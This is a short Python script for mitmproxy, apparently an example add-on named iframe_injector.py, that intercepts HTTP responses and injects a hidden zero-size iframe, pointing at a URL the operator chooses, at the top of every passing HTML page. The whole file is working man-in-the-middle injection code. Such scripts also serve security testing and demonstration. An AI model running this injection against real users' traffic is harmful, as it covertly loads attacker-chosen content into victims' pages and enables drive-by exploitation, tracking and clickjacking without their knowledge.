# Usage: mitmdump -s "iframe_injector.py url"
# (this script works best with --anticache)
import sys
from bs4 import BeautifulSoup


def start(context):
    if len(sys.argv) != 2:
        raise ValueError('Usage: -s "iframe_injector.py url"')
    context.iframe_url = sys.argv[1]


def response(context, flow):
    if flow.request.host in context.iframe_url:
        return
    html = BeautifulSoup(flow.response.content, "lxml")
    if html.body:
        iframe = html.new_tag(
            "iframe",
            src=context.iframe_url,
            frameborder=0,
            height=0,
            width=0)
        html.body.insert(0, iframe)
        flow.response.content = str(html)
        context.log("Iframe inserted.")